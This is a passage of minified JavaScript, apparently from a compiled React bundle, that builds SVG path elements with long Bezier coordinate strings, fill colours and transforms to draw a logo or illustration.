0.33932686 C52.35416965 0.35659707 53.83296006 0.36734587 55.31175423 0.37127495 C57.35893065 0.37834112 59.40429988 0.41017908 61.45110321 0.44818878 C63.18998558 0.46603676 63.18998558 0.46603676 64.96399689 0.4842453 C68.56959769 1.12240621 69.77041951 2.09712335 71.93425751 5.00995636 C72.37273028 8.5177385 72.40220477 10.93743463 70.98075104 14.19536591 C67.65223642 17.14670231 64.05300051 16.57493589 59.75286102 16.54340363 C58.81275177 16.5520192 57.87264252 16.56063477 56.9040451 16.56951141 C53.79013951 16.59225165 50.67712805 16.58541736 47.56316376 16.57636261 C45.40226726 16.58159486 43.24137306 16.58786987 41.08048248 16.59514618 C36.54847732 16.60556548 32.01678584 16.60096722 27.48479462 16.58637238 C21.67250835 16.5691883 15.86121094 16.59266779 10.04903507 16.62786198 C5.58549173 16.64980724 1.12218599 16.64840131 -3.34139442 16.64009666 C-5.48444515 16.63927546 -7.62751304 16.64617101 -9.77051353 16.66086769 C-12.76594686 16.67825883 -15.75959068 16.66381557 -18.75495148 16.64105988 C-20.08684258 16.65859818 -20.08684258 16.65859818 -21.44564056 16.67649078 C-27.45284616 16.5834875 -27.45284616 16.5834875 -30.61251068 13.62676239 C-32.27284509 10.63703077 -32.81812832 9.35389338 -32.06574249 6.00995636 C-30.03156827 3.18593492 -28.37678286 1.31193373 -24.89670563 0.51035309 C-22.09638147 0.27170979 -19.33336879 0.20347789 -16.52277374 0.18573761 C-14.89901573 0.14927879 -14.89901573 0.14927879 -13.24245453 0.11208344 C-8.82819435 0.0308441 -4.41484624 0.02127845 0 0 Z ",fill:"#0A0A0D",transform:"translate(194.06574249267578,174.99004364013672)"}),(0,a.createElement)("path",{d:"M0 0 C1.10314545 -0.01029488 1.10314545 -0.01029488 2.22857666 -0.02079773 C4.65518598 -0.03907239 7.08114926 -0.03522791 9.5078125 -0.02954102 C11.19645396 -0.03410215 12.88509357 -0.03940752 14.57373047 -0.04542542 C18.11107937 -0.05435752 21.64820251 -0.0519319 25.18554688 -0.04199219 C29.71866708 -0.03049559 34.25100913 -0.05072357 38.7840271 -0.07990932 C42.27047677 -0.09825361 45.75673928 -0.09798256 49.2432251 -0.0922718 C50.91458224 -0.09211841 52.58595192 -0.09817797 54.25726318 -0.11056328 C56.593881 -0.12544066 58.92905249 -0.11482234 61.265625 -0.09765625 C61.95561584 -0.10732422 62.64560669 -0.11699219 63.35650635 -0.12695312 C66.65684074 -0.07617675 68.38734933 0.22089435 71.06201172 2.21665955 C73.35918501 5.41555101 73.18111946 7.56590399 72.6328125 11.40405273 C71.06774902 13.58946228 71.06774902 13.58946228 68.6328125 15.40405273 C66.00725844 15.80415625 63.79787667 15.96198621 61.17382812 15.9375 C60.05605232 15.95042336 60.05605232 15.95042336 58.91569519 15.96360779 C56.45646269 15.98628081 53.99836841 15.97952751 51.5390625 15.97045898 C49.82799948 15.97569376 48.11693936 15.9819697 46.40588379 15.98924255 C42.82139498 15.99964898 39.2373031 15.99508163 35.65283203 15.98046875 C31.05900799 15.96327409 26.46643389 15.98678237 21.87274933 16.02195835 C18.33994253 16.04391636 14.80743562 16.04249495 11.27458191 16.03419304 C9.58089323 16.03337275 7.88718271 16.04025096 6.19355774 16.05496407 C3.82552174 16.07238319 1.45974198 16.05789341 -0.90820312 16.03515625 C-1.60754471 16.04684845 -2.30688629 16.05854065 -3.02742004 16.07058716 C-6.67982601 15.99922082 -8.1313923 15.62519025 -10.83337402 13.09117126 C-12.3671875 10.40405273 -12.3671875 10.40405273 -12.3671875 6.77905273 C-10.41785972 0.20007147 -6.23316068 -0.04066647 0 0 Z ",fill:"#121215",transform:"translate(174.3671875,259.595947265625)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1 61.71 1 123.42 1 187 C11.89 187 22.78 187 34 187 C35.91363309 188.91363309 35.17394957 192.45028214 35.18945312 195.05834961 C35.19774643 195.79655441 35.20603973 196.53475922 35.21458435 197.29533386 C35.23202215 198.90336365 35.24717866 200.51141937 35.26036072 202.11948967 C35.28132602 204.66156143 35.30835396 207.20350304 35.33703613 209.74549866 C35.39683584 215.14278283 35.44893585 220.54012704 35.5 225.9375 C35.55916022 232.18617724 35.62142682 238.43479052 35.69187927 244.68335152 C35.71851565 247.19276523 35.73929437 249.70218511 35.7598877 252.21165466 C35.77648776 253.74519152 35.79335935 255.27872547 35.81054688 256.81225586 C35.8168235 257.86509766 35.8168235 257.86509766 35.82322693 258.93920898 C35.82776426 262.5929169 35.82776426 262.5929169 37 266 C37.06996014 267.70702735 37.08440154 269.41668003 37.0625 271.125 C37.05347656 272.03507812 37.04445312 272.94515625 37.03515625 273.8828125 C37.02355469 274.58148438 37.01195312 275.28015625 37 276 C37.66 276 38.32 276 39 276 C39 277.65 39 279.3 39 281 C39.99 280.67 40.98 280.34 42 280 C42.66 280.66 43.32 281.32 44 282 C43.01 282 42.02 282 41 282 C41.34224609 282.92232422 41.34224609 282.92232422 41.69140625 283.86328125 C42.12259766 285.07564453 42.12259766 285.07564453 42.5625 286.3125 C42.85253906 287.11300781 43.14257812 287.91351563 43.44140625 288.73828125 C44 291 44 291 43 294 C38.76404516 287.55696189 35.75739258 281.52265171 34 274 C33.82614273 273.29023514 33.65228546 272.58047028 33.47315979 271.84919739 C32.87576744 268.25191638 32.86857759 264.72292059 32.88647461 261.08862305 C32.88632858 260.30760727 32.88618256 259.52659149 32.8860321 258.72190857 C32.8867263 256.15181661 32.89449554 253.58179798 32.90234375 251.01171875 C32.90420968 249.22524556 32.90563276 247.43877186 32.90663147 245.65229797 C32.91044284 240.95875629 32.92026133 236.26524573 32.93133545 231.57171631 C32.94157925 226.77893495 32.94613545 221.98614854 32.95117188 217.19335938 C32.96188486 207.79555927 32.97894469 198.39778223 33 189 C32.04633545 189.01047363 31.0926709 189.02094727 30.11010742 189.03173828 C26.57108312 189.06794501 23.0320752 189.09090284 19.49291992 189.10986328 C17.96131639 189.11991935 16.42973205 189.133566 14.89819336 189.15087891 C12.69640364 189.17514498 10.49486781 189.18648688 8.29296875 189.1953125 C7.60849167 189.20563507 6.92401459 189.21595764 6.21879578 189.22659302 C2.56938339 189.22745382 1.12851498 189.08567666 -2 187 C-2.3719368 183.99635887 -2.3719368 183.99635887 -2.36749268 180.05575562 C-2.37076152 179.33281897 -2.37403036 178.60988233 -2.37739825 177.86503851 C-2.38471149 175.42983513 -2.37049094 172.99522572 -2.35644531 170.56005859 C-2.35723577 168.81907041 -2.35933175 167.07808239 -2.36264038 165.33709717 C-2.36778879 160.59707662 -2.35420754 155.857272 -2.33711338 151.11728621 C-2.32210153 146.15889473 -2.32325186 141.20050635 -2.32244873 136.24209595 C-2.31875159 127.90761624 -2.3037669 119.57321865 -2.28125 111.23876953 C-2.25243603 100.55196276 -2.24203235 89.86522237 -2.2375679 79.17838097 C-2.23358023 69.98641289 -2.22107472 60.79445915 -2.20722103 51.60250139 C-2.20312929 48.65152933 -2.20019981 45.70055777 -2.19742584 42.7495842 C-2.19251385 38.10228022 -2.18227858 33.45501593 -2.16798782 28.80773163 C-2.16348366 27.10500828 -2.16063064 25.40227961 -2.15958023 23.69955063 C-2.1578202 21.36837661 -2.14990001 19.03730001 -2.14044189 16.70614624 C-2.13746723 15.40348501 -2.13449257 14.10082378 -2.13142776 12.75868797 C-1.7463666 1.7463666 -1.7463666 1.7463666 0 0 Z M42 279 C44 280 44 280 44 280 Z ",fill:"#409CD5",transform:"translate(84,108)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.33 1.32 0.66 2 1 C1.83701416 2.05495667 1.67402832 3.10991333 1.50610352 4.19683838 C0.77784041 10.07273983 0.87673376 15.93836506 0.90234375 21.85058594 C0.90455268 23.81594073 0.9067613 25.78129553 0.90895891 27.74665034 C0.91229954 29.85863252 0.9181378 31.97059461 0.92469788 34.08256912 C0.93850111 38.5643507 0.94482741 43.04612491 0.95007324 47.52792358 C0.95815774 53.9405171 0.96898473 60.35310008 0.98168945 66.76568604 C1.01404651 83.39846351 1.02624853 100.03125626 1.03125 116.6640625 C1.03153765 117.48901828 1.03182529 118.31397407 1.03212166 119.16392851 C1.0417259 149.48675988 0.87629375 179.80420107 0.5 210.125 C0.48797546 211.10067429 0.47595093 212.07634857 0.46356201 213.08158875 C0.32340233 224.38794034 0.17098748 235.69407157 0 247 C-0.66 247 -1.32 247 -2 247 C-2.04563168 216.544578 -2.08102271 186.08916064 -2.10213066 155.63371244 C-2.10463205 152.0376279 -2.1072207 148.44154342 -2.10986328 144.84545898 C-2.1103879 144.12954761 -2.11091252 143.41363624 -2.11145304 142.67603058 C-2.12015408 131.08626706 -2.1359224 119.4965234 -2.15430559 107.90677165 C-2.17301301 96.01335857 -2.18411851 84.11995589 -2.18817699 72.2265287 C-2.19067423 65.54671302 -2.19692561 58.86693347 -2.21146011 52.18713188 C-2.2250278 45.9007712 -2.22922426 39.61447413 -2.22621536 33.3281002 C-2.22676589 31.02024236 -2.23074813 28.71238239 -2.23841095 26.4045372 C-2.24835933 23.25398315 -2.24596912 20.10366934 -2.24050903 16.95310974 C-2.24633472 16.03967204 -2.2521604 15.12623434 -2.25816262 14.18511671 C-2.23418756 9.06779854 -1.65951043 4.84884282 0 0 Z ",fill:"#3492CE",transform:"translate(133,133)"}),(0,a.createElement)("path",{d:"M0 0 C1.35307955 2.70615909 0.39766727 4.06947534 -0.44956398 6.8370533 C-1.5452305 11.14249154 -1.76927029 15.56587744 -2.10620117 19.98413086 C-2.19035121 21.072555 -2.27450125 22.16097914 -2.36120129 23.28238583 C-3.29554583 36.5528099 -3.31155294 49.83153555 -3.30158257 63.12796521 C-3.30049196 66.02139622 -3.30544609 68.91480633 -3.310188 71.80823272 C-3.32114957 78.62892661 -3.32179141 85.44956532 -3.31567383 92.27026367 C-3.30958806 99.2751707 -3.3220911 106.27987921 -3.3432439 113.28475243 C-3.36087835 119.35073694 -3.36686002 125.4166582 -3.36360615 131.48266739 C-3.36180274 135.08424497 -3.36433841 138.68567941 -3.37832069 142.28723335 C-3.39327431 146.28480142 -3.38391309 150.28196181 -3.37231445 154.27954102 C-3.37995819 155.45515091 -3.38760193 156.6307608 -3.39547729 157.84199524 C-3.35426849 164.26891257 -2.80243064 169.17851361 0 175 C3.30435683 177.71429311 6.54284659 177.3632638 11 178 C11.33 132.46 11.66 86.92 12 40 C12.33 40 12.66 40 13 40 C13 86.2 13 132.4 13 180 C8.38 180 3.76 180 -1 180 C-1.99 178.02 -2.98 176.04 -4 174 C-4.66 173.01 -5.32 172.02 -6 171 C-6.25726891 168.26488781 -6.25726891 168.26488781 -6.26742554 164.88700867 C-6.27595551 163.60733719 -6.28448547 162.32766571 -6.29327393 161.00921631 C-6.29257484 159.58776843 -6.29165174 158.16632065 -6.29052734 156.74487305 C-6.29651114 155.24992028 -6.30331634 153.75497062 -6.31088257 152.26002502 C-6.32857901 148.19326019 -6.33323987 144.1265795 -6.33451414 140.05977988 C-6.33593585 137.51467054 -6.34020614 134.96958257 -6.34550858 132.42447853 C-6.36403077 123.53191396 -6.37217768 114.63940939 -6.37060547 105.74682617 C-6.369408 97.48255871 -6.39042674 89.21855409 -6.4220928 80.95435303 C-6.44835399 73.84499065 -6.45896845 66.73571346 -6.45769465 59.62630302 C-6.45718729 55.38700723 -6.46274242 51.14794425 -6.48405075 46.90869713 C-6.50359598 42.91047014 -6.50344806 38.91269375 -6.48901749 34.91444969 C-6.48694729 33.45773145 -6.49152171 32.00098383 -6.5037384 30.54431534 C-6.58566013 20.08693727 -5.97858025 8.96787038 0 0 Z ",fill:"#58ABDA",transform:"translate(105,99)"}),(0,a.createElement)("path",{d:"M0 0 C1.65 0.66 3.3 1.32 5 2 C5 2.66 5 3.32 5 4 C5.99 4.33 6.98 4.66 8 5 C8 5.66 8 6.32 8 7 C8.66 7 9.32 7 10 7 C10 7.66 10 8.32 10 9 C10.66 9 11.32 9 12 9 C12 9.66 12 10.32 12 11 C12.99 11.33 13.98 11.66 15 12 C15 12.66 15 13.32 15 14 C15.66 14.33 16.32 14.66 17 15 C10.25 19 10.25 19 8 19 C8.7763932 22.0745356 8.7763932 22.0745356 11 24 C13.42130331 25.21065165 14.48293659 24.94602533 17.125 24.5625 C18.40375 24.376875 19.6825 24.19125 21 24 C16.82610569 27.5953347 12.37140187 30.18696475 7.5625 32.8125 C6.77206299 33.24755859 5.98162598 33.68261719 5.16723633 34.13085938 C-12.12770743 43.58884131 -12.12770743 43.58884131 -21 47 C-21 45 -21 45 -19.87890625 43.515625 C-17.41558416 41.52857932 -14.92301193 40.78023741 -11.9375 39.75 C-7.76622392 38.21998603 -7.76622392 38.21998603 -4.734375 35.19140625 C-3.93531219 32.44605475 -3.70540573 30.58918853 -5 28 C-7.02463255 27.34786708 -7.02463255 27.34786708 -9 27 C-8.67 27.99 -8.34 28.98 -8 30 C-8.721875 30.103125 -9.44375 30.20625 -10.1875 30.3125 C-13.05823062 30.86711079 -13.05823062 30.86711079 -15.5 32.5 C-18.06565201 34.03939121 -20.06168772 34.5802411 -23 35 C-23.625 32.6875 -23.625 32.6875 -24 30 C-23.01 28.515 -23.01 28.515 -22 27 C-21.67 25.80375 -21.34 24.6075 -21 23.375 C-20.67 22.26125 -20.34 21.1475 -20 20 C-19.34 19.67 -18.68 19.34 -18 19 C-17.34 18.01 -16.68 17.02 -16 16 C-15 19 -15 19 -15.99609375 21.41015625 C-16.47175781 22.28542969 -16.94742188 23.16070312 -17.4375 24.0625 C-19.3804994 27.35856537 -19.3804994 27.35856537 -20 31 C-19.27296875 30.56429688 -18.5459375 30.12859375 -17.796875 29.6796875 C-11.54608056 25.97729387 -5.23764891 22.55258613 1.28515625 19.35546875 C4.60759558 17.69663933 7.80377119 15.88868066 11 14 C10.505 12.02 10.505 12.02 10 10 C9.34 10 8.68 10 8 10 C6.30859375 8.3203125 6.30859375 8.3203125 4.4375 6.125 C3.81746094 5.40570313 3.19742187 4.68640625 2.55859375 3.9453125 C1 2 1 2 0 0 Z ",fill:"#0896E2",transform:"translate(255,328)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0 1.32 0 2 0 C3.34569019 3.89167518 4.67436 7.78895398 6 11.6875 C6.3815625 12.79029297 6.763125 13.89308594 7.15625 15.02929688 C7.5171875 16.09599609 7.878125 17.16269531 8.25 18.26171875 C8.58515625 19.24100342 8.9203125 20.22028809 9.265625 21.22924805 C10 24 10 24 10 29 C3.73 29 -2.54 29 -9 29 C-7.87470118 19.99760943 -7.87470118 19.99760943 -6.87890625 17.11328125 C-6.66556641 16.48486328 -6.45222656 15.85644531 -6.23242188 15.20898438 C-6.01134766 14.58314453 -5.79027344 13.95730469 -5.5625 13.3125 C-5.34529297 12.67505859 -5.12808594 12.03761719 -4.90429688 11.38085938 C-1.51326651 1.51326651 -1.51326651 1.51326651 0 0 Z ",fill:"#0496E6",transform:"translate(334,88)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 0.99 1.32 1.98 2 3 C1.125 6.6875 1.125 6.6875 0 10 C-0.99 9.67 -1.98 9.34 -3 9 C-3 10.32 -3 11.64 -3 13 C-3.66 13 -4.32 13 -5 13 C-5.66 14.65 -6.32 16.3 -7 18 C-5.68 18 -4.36 18 -3 18 C-2.01 18 -1.02 18 0 18 C0.33 17.34 0.66 16.68 1 16 C2.98 16 4.96 16 7 16 C7 14.02 7 12.04 7 10 C8.32 9.67 9.64 9.34 11 9 C11.495 10.485 11.495 10.485 12 12 C10.91357422 13.69580078 10.91357422 13.69580078 9.1796875 15.5703125 C8.20660645 16.62653809 8.20660645 16.62653809 7.21386719 17.70410156 C3.24331173 21.8217795 -0.79928224 25.86160208 -4.875 29.875 C-6.58300524 31.5575885 -8.28885251 33.24237133 -9.9921875 34.9296875 C-10.73839355 35.66429199 -11.48459961 36.39889648 -12.25341797 37.15576172 C-14.06693877 38.89194424 -14.06693877 38.89194424 -15 41 C-15.66 41 -16.32 41 -17 41 C-17 39.35 -17 37.7 -17 36 C-16.01 36 -15.02 36 -14 36 C-13.67 34.68 -13.34 33.36 -13 32 C-12.01 32 -11.02 32 -10 32 C-9.67 31.01 -9.34 30.02 -9 29 C-8.34 29.33 -7.68 29.66 -7 30 C-7 28.68 -7 27.36 -7 26 C-6.34 26 -5.68 26 -5 26 C-5 24.68 -5 23.36 -5 22 C-5.66 22 -6.32 22 -7 22 C-7 21.34 -7 20.68 -7 20 C-11.0008924 19.5430902 -11.0008924 19.5430902 -13.125 22 C-13.74375 22.66 -14.3625 23.32 -15 24 C-15.66 24 -16.32 24 -17 24 C-17.66 25.32 -18.32 26.64 -19 28 C-19.66 28 -20.32 28 -21 28 C-21.33 28.99 -21.66 29.98 -22 31 C-22.99 31.33 -23.98 31.66 -25 32 C-25.33 32.66 -25.66 33.32 -26 34 C-26.33 34.66 -26.66 35.32 -27 36 C-28.485 36.495 -28.485 36.495 -30 37 C-31.21869929 39.50447516 -31.21869929 39.50447516 -32 42 C-32.99 42 -33.98 42 -35 42 C-34.49259538 37.60249328 -31.91706686 35.13051078 -29 32 C-28.34 32 -27.68 32 -27 32 C-26.66452148 31.17230103 -26.66452148 31.17230103 -26.32226562 30.32788086 C-24.58648375 27.27199457 -22.36804173 25.19882726 -19.84375 22.75390625 C-18.81108038 21.74165636 -17.77853201 20.72928275 -16.74609375 19.71679688 C-15.12245355 18.13663388 -13.49641711 16.55903554 -11.86767578 14.98413086 C-10.29068819 13.45557421 -8.72314429 11.91779788 -7.15625 10.37890625 C-6.21587891 9.4669751 -5.27550781 8.55504395 -4.30664062 7.61547852 C-2.08356783 5.09475679 -0.99567141 3.17890334 0 0 Z ",fill:"#0899E2",transform:"translate(387,252)"}),(0,a.createElement)("path",{d:"M0 0 C0.99 0.33 1.98 0.66 3 1 C1.38731308 3.71224618 -0.24901874 6.37352812 -2 9 C-2.66 9 -3.32 9 -4 9 C-4 9.66 -4 10.32 -4 11 C-4.66 11 -5.32 11 -6 11 C-6 11.66 -6 12.32 -6 13 C-7.94921875 14.5859375 -7.94921875 14.5859375 -10.6875 16.375 C-11.55761719 16.96023438 -12.42773438 17.54546875 -13.32421875 18.1484375 C-24.04068304 24.03808483 -35.19152532 24.56771027 -47.08129883 24.45410156 C-48.75807162 24.45297067 -50.43484639 24.45361166 -52.11161804 24.45587158 C-56.62327866 24.45701023 -61.13450615 24.43363999 -65.6460669 24.40557575 C-70.37589409 24.38041909 -75.1057333 24.37820893 -79.83561707 24.37347412 C-88.77426911 24.36108599 -97.71272338 24.32832124 -106.65128869 24.28807616 C-116.83516525 24.24322823 -127.0190517 24.22133878 -137.20300257 24.20129442 C-158.13544505 24.15958453 -179.06771002 24.08931418 -200 24 C-200 23.67 -200 23.34 -200 23 C-149.51 22.67 -99.02 22.34 -47 22 C-47 21.67 -47 21.34 -47 21 C-39.74 20.67 -32.48 20.34 -25 20 C-24.67 18.68 -24.34 17.36 -24 16 C-22.865625 15.87625 -21.73125 15.7525 -20.5625 15.625 C-19.386875 15.41875 -18.21125 15.2125 -17 15 C-16.67 14.34 -16.34 13.68 -16 13 C-14.02 13.495 -14.02 13.495 -12 14 C-11.54625 13.05125 -11.0925 12.1025 -10.625 11.125 C-9 8 -9 8 -7 6 C-5.68 6 -4.36 6 -3 6 C-3 5.01 -3 4.02 -3 3 C-2.01 3 -1.02 3 0 3 C0 2.01 0 1.02 0 0 Z ",fill:"#4299CA",transform:"translate(357,396)"}),(0,a.createElement)("path",{d:"M0 0 C0.82566467 -0.00350464 1.65132935 -0.00700928 2.50201416 -0.01062012 C5.2019519 -0.01934478 7.9016226 -0.01362131 10.6015625 -0.00683594 C12.49528045 -0.00818525 14.38899807 -0.010128 16.28271484 -0.01263428 C20.2399426 -0.015573 24.1970797 -0.01132831 28.15429688 -0.00195312 C33.20782693 0.00944061 38.26114448 0.00287442 43.31466675 -0.00909805 C47.22161438 -0.01635053 51.12851224 -0.0140132 55.03546143 -0.00884247 C56.8980512 -0.00751533 58.76064561 -0.00912061 60.62322998 -0.01380157 C63.23331547 -0.01892277 65.84306435 -0.01107873 68.453125 0 C69.21079163 -0.00404846 69.96845825 -0.00809692 70.74908447 -0.01226807 C76.11750081 0.02960842 81.03348135 0.91884193 86.2265625 2.25878906 C86.2265625 2.58878906 86.2265625 2.91878906 86.2265625 3.25878906 C85.00769348 3.26909653 83.78882446 3.27940399 82.53302002 3.2900238 C71.05562237 3.38770979 59.57827951 3.49043939 48.10097122 3.59812832 C42.20014565 3.65333171 36.29931511 3.70674768 30.3984375 3.75610352 C24.70555026 3.80378504 19.01272336 3.85612938 13.31990814 3.91172981 C11.14618174 3.93213616 8.97243879 3.95085209 6.79868317 3.96786308 C3.75798049 3.99194503 0.71739171 4.02199463 -2.32324219 4.0534668 C-3.22523346 4.05922226 -4.12722473 4.06497772 -5.05654907 4.07090759 C-6.3016777 4.08559082 -6.3016777 4.08559082 -7.57196045 4.10057068 C-8.29095898 4.10702323 -9.0099575 4.11347578 -9.75074387 4.12012386 C-14.09832262 4.41817091 -17.80794831 6.04692062 -21.7734375 7.73535156 C-24.12996403 8.35209874 -25.49077866 8.02307216 -27.7734375 7.25878906 C-26.30153445 6.45369804 -24.82036683 5.66554332 -23.3359375 4.88378906 C-22.51222656 4.44292969 -21.68851562 4.00207031 -20.83984375 3.54785156 C-14.06869715 0.70138229 -7.28559191 -0.03892931 0 0 Z ",fill:"#3395D1",transform:"translate(316.7734375,43.7412109375)"}),(0,a.createElement)("path",{d:"M0 0 C0.33 0 0.66 0 1 0 C1 23.1 1 46.2 1 70 C-1.31 70 -3.62 70 -6 70 C-6.495 71.485 -6.495 71.485 -7 73 C-12.94 73 -18.88 73 -25 73 C-29 66 -29 66 -30 59 C-38.25 59 -46.5 59 -55 59 C-55 60.98 -55 62.96 -55 65 C-56.98 65.495 -56.98 65.495 -59 66 C-58.69181644 64.68647977 -58.37832335 63.37420428 -58.0625 62.0625 C-57.88847656 61.33160156 -57.71445312 60.60070312 -57.53515625 59.84765625 C-57 58 -57 58 -56 57 C-54.09715013 56.90025611 -52.19061747 56.8691937 -50.28515625 56.8671875 C-49.12435547 56.86589844 -47.96355469 56.86460937 -46.76757812 56.86328125 C-45.54490234 56.86714844 -44.32222656 56.87101562 -43.0625 56.875 C-41.84369141 56.87113281 -40.62488281 56.86726563 -39.36914062 56.86328125 C-37.62600586 56.86521484 -37.62600586 56.86521484 -35.84765625 56.8671875 C-34.77523682 56.86831543 -33.70281738 56.86944336 -32.59790039 56.87060547 C-30 57 -30 57 -28 58 C-26.45297833 61.93530696 -25.2741322 65.96524803 -24 70 C-19.05 70.33 -14.1 70.66 -9 71 C-9 68.03 -9 65.06 -9 62 C-8.505 63.98 -8.505 63.98 -8 66 C-6.34385343 66.38218767 -4.67542976 66.71395102 -3 67 C-1.28647372 65.28647372 -1.83976426 63.03072207 -1.81054688 60.68920898 C-1.78547058 58.98624916 -1.78547058 58.98624916 -1.7598877 57.24888611 C-1.74631226 56.01046463 -1.73273682 54.77204315 -1.71875 53.49609375 C-1.70034058 52.22911148 -1.68193115 50.96212921 -1.66296387 49.65675354 C-1.60399446 45.58371706 -1.55119449 41.51063937 -1.5 37.4375 C-1.43250387 32.10277649 -1.35835483 26.76818924 -1.28125 21.43359375 C-1.26767456 20.20934189 -1.25409912 18.98509003 -1.2401123 17.72373962 C-1.15358072 11.73306958 -0.90442085 5.92496349 0 0 Z ",fill:"#1187C9",transform:"translate(377,72)"}),(0,a.createElement)("path",{d:"M0 0 C11.22 0 22.44 0 34 0 C34.06058594 5.46304687 34.12117188 10.92609375 34.18359375 16.5546875 C34.22407363 20.00912275 34.26483946 23.46354985 34.30664062 26.91796875 C34.37300765 32.40475748 34.43829746 37.89154462 34.49731445 43.37841797 C34.54494432 47.80047393 34.59728663 52.22245099 34.65294075 56.64441299 C34.67337055 58.33413867 34.69208259 60.023886 34.70907402 61.71364975 C34.73310422 64.07464192 34.76316056 66.43548433 34.79467773 68.79638672 C34.80331093 69.85158508 34.80331093 69.85158508 34.81211853 70.92810059 C34.82488557 74.58753278 34.82488557 74.58753278 36 78 C36.06996014 79.70702735 36.08440154 81.41668003 36.0625 83.125 C36.05347656 84.03507812 36.04445312 84.94515625 36.03515625 85.8828125 C36.02355469 86.58148438 36.01195312 87.28015625 36 88 C36.66 88 37.32 88 38 88 C38 89.65 38 91.3 38 93 C38.99 92.67 39.98 92.34 41 92 C41.99 92.99 41.99 92.99 43 94 C42.01 94 41.02 94 40 94 C40.34224609 94.92232422 40.34224609 94.92232422 40.69140625 95.86328125 C40.97886719 96.67152344 41.26632813 97.47976563 41.5625 98.3125 C41.99755859 99.51326172 41.99755859 99.51326172 42.44140625 100.73828125 C43 103 43 103 42 106 C37.76404516 99.55696189 34.75739258 93.52265171 33 86 C32.82614273 85.29023514 32.65228546 84.58047028 32.47315979 83.84919739 C31.87576744 80.25191638 31.86857759 76.72292059 31.88647461 73.08862305 C31.88632858 72.30760727 31.88618256 71.52659149 31.8860321 70.72190857 C31.8867263 68.15181661 31.89449554 65.58179798 31.90234375 63.01171875 C31.90420968 61.22524556 31.90563276 59.43877186 31.90663147 57.65229797 C31.91044284 52.95875629 31.92026133 48.26524573 31.93133545 43.57171631 C31.94157925 38.77893495 31.94613545 33.98614854 31.95117188 29.19335938 C31.96188486 19.79555707 31.97947047 10.397786 32 1 C21.44 1 10.88 1 0 1 C0 0.67 0 0.34 0 0 Z M41 91 C43 92 43 92 43 92 Z ",fill:"#70B7E3",transform:"translate(85,296)"}),(0,a.createElement)("path",{d:"M0 0 C9.749986 -0.03075023 19.49997409 -0.0510297 29.25 -0.0625 C30.33371887 -0.06378403 30.33371887 -0.06378403 31.43933105 -0.06509399 C56.97152119 -0.09180727 82.47820254 0.22511338 108 1 C108 1.66 108 2.32 108 3 C97.01929841 3.02337165 86.03860293 3.04103968 75.05788136 3.05181217 C69.9567914 3.05698749 64.8557187 3.0639854 59.75463867 3.07543945 C54.81384301 3.08646169 49.87306373 3.09231689 44.9322567 3.09487724 C43.06562734 3.09669723 41.19899868 3.1002491 39.33237648 3.10573006 C26.19157328 3.14271153 13.12045522 2.73328796 0 2 C0 1.34 0 0.68 0 0 Z ",fill:"#2B8CC0",transform:"translate(160,110)"}),(0,a.createElement)("path",{d:"M0 0 C0.66 1.32 1.32 2.64 2 4 C1.34 4 0.68 4 0 4 C0.44994757 5.79379098 0.91024143 7.58498928 1.375 9.375 C1.63023437 10.37273437 1.88546875 11.37046875 2.1484375 12.3984375 C2.82404319 15.12541015 2.82404319 15.12541015 5 17 C5.66796875 19.09375 5.66796875 19.09375 6.1875 21.5 C6.36667969 22.2940625 6.54585938 23.088125 6.73046875 23.90625 C7 26 7 26 6 28 C6.66 28 7.32 28 8 28 C8.39832031 29.28197266 8.39832031 29.28197266 8.8046875 30.58984375 C9.33449219 32.24693359 9.33449219 32.24693359 9.875 33.9375 C10.22304688 35.03964844 10.57109375 36.14179687 10.9296875 37.27734375 C11.70024295 40.12878804 11.70024295 40.12878804 14 41 C14.75 44.375 14.75 44.375 15 48 C14.34 48.99 13.68 49.98 13 51 C12.81824219 50.35933594 12.63648438 49.71867187 12.44921875 49.05859375 C12.19785156 48.19363281 11.94648438 47.32867187 11.6875 46.4375 C11.44386719 45.59058594 11.20023437 44.74367187 10.94921875 43.87109375 C10.01565684 40.90307969 10.01565684 40.90307969 8.59350586 37.75756836 C7.06800654 34.22945278 5.7880122 30.64970066 4.5546875 27.0078125 C4.33934357 26.3764035 4.12399963 25.74499451 3.90213013 25.0944519 C2.99164542 22.42471996 2.08753111 19.7528442 1.18310547 17.08105469 C0.51766932 15.11832545 -0.15120493 13.15679252 -0.8203125 11.1953125 C-1.41223389 9.44758545 -1.41223389 9.44758545 -2.01611328 7.66455078 C-2.74690081 5.11363414 -2.74690081 5.11363414 -4 4 C-5.34015221 3.84417697 -6.68758903 3.74955858 -8.03515625 3.68359375 C-9.24848633 3.62075195 -9.24848633 3.62075195 -10.48632812 3.55664062 C-11.33646484 3.51732422 -12.18660156 3.47800781 -13.0625 3.4375 C-13.91650391 3.39431641 -14.77050781 3.35113281 -15.65039062 3.30664062 C-17.76672037 3.20023298 -19.88333813 3.09958269 -22 3 C-22.16798096 3.57540527 -22.33596191 4.15081055 -22.5090332 4.74365234 C-24.58199817 11.75717224 -26.85852828 18.69283462 -29.1875 25.625 C-29.55552734 26.72457031 -29.92355469 27.82414062 -30.30273438 28.95703125 C-31.20043943 31.63848791 -32.09955224 34.31946338 -33 37 C-33.33 37 -33.66 37 -34 37 C-33.88556397 34.9160597 -33.75804453 32.83283507 -33.625 30.75 C-33.55539062 29.58984375 -33.48578125 28.4296875 -33.4140625 27.234375 C-33.03751692 24.29305666 -32.5225877 22.50050989 -31 20 C-30.34 20 -29.68 20 -29 20 C-29 18.02 -29 16.04 -29 14 C-28.34 14 -27.68 14 -27 14 C-27 10.04 -27 6.08 -27 2 C-24.20208984 1.90912109 -24.20208984 1.90912109 -21.34765625 1.81640625 C-18.9192621 1.7320219 -16.49087713 1.64737286 -14.0625 1.5625 C-12.83080078 1.52318359 -11.59910156 1.48386719 -10.33007812 1.44335938 C-8.5753418 1.38051758 -8.5753418 1.38051758 -6.78515625 1.31640625 C-5.70113525 1.27974854 -4.61711426 1.24309082 -3.50024414 1.20532227 C-1.060737 1.27635735 -1.060737 1.27635735 0 0 Z ",fill:"#3F9ACC",transform:"translate(347,68)"}),(0,a.createElement)("path",{d:"M0 0 C1.65 0 3.3 0 5 0 C4.01 1.485 4.01 1.485 3 3 C2.80233629 5.66507944 2.71979354 8.22725446 2.72875977 10.89282227 C2.72353302 11.69649734 2.71830627 12.50017242 2.71292114 13.32820129 C2.70267615 15.07477934 2.69689987 16.82138797 2.69503975 